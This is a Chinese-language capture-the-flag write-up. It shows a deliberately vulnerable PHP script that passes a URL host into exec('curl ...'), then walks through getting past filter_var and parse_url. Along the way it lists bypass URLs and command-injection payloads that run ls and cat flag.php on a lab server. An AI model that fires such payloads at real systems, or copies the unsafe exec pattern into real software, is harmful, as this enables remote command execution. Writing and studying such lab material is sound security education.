index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-pz.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "You have curl {$site_info['host']} successfully!
;
echo implode(' ', $result);
}
else{
die("Error: Host not allowed
");
}
}
else{
echo "Just curl sec-pz.com!
For example:?url=http://sec-pz.com
";
}
?>
flag.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
进入网站:
http://192.168.1.139/PHPcode/day2/?url=
这道题考察的是 filter_var
函数的绕过与远程命令执行。代码如下,程序使用 exec
函数来执行 curl
命令,这就很容易让人联系到命令执行。
exec('curl "'.$site_info['host'].'"', $result);
所以我们看看用于拼接命令的 $site_info['host']
从何而来。
在题目 第2-4行 ,代码如下:
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
可以看到 $site_info
变量是从用户传来的 url
参数经过 filter_var
和 parse_url
两个函数过滤而来。之后,
if(preg_match('/sec-pz.com$/',$site_info['host'])){
又规定当 url
参数的值以 sec-pz.com
结尾时,才会执行 exec
函数。
所以让我们先来绕过 filter_var
的 FILTER_VALIDATE_URL
过滤器,
我的另外一篇博客有filter_var的函数讲解
这里提供几个绕过方法,如下:
http://192.168.1.139/PHPcode/day2/index.php?url=http://demo.com@sec-pz.com
http://192.168.1.139/PHPcode/day2/index.php?url=demo://demo.com,sec-pz.com
http://192.168.1.139/PHPcode/day2/index.php?url=demo://demo.com:80;sec-pz.com:80/
http://192.168.1.139/PHPcode/day2/index.php?url=http://demo.com#sec-pz.com
PS:最后一个payload的#符号,请换成对应的url编码 %23
接着要绕过 parse_url
函数,
parse_url函数讲解
并且满足 $site_info['host']
的值以 sec-pz.com
结尾,payload如下:
http://192.168.1.139/PHPcode/day2/index.php?url=demo://";ls;#;sec-pz.com:80/
结果如图:
当我们直接用 cat flag.php
命令的时候,过不了 filter_var
函数检测,因为包含空格,所以我们可以换成 cat
http://192.168.1.139/PHPcode/day2/index.php?url=demo://";cat
关于 filter_var
函数绕过更多的细节,大家可以参考这篇文章:SSRF技巧之如何绕过filter_var( ) ,关于命令执行绕过技巧,大家可以参考这篇文章:浅谈CTF中命令执行与绕过的小技巧 。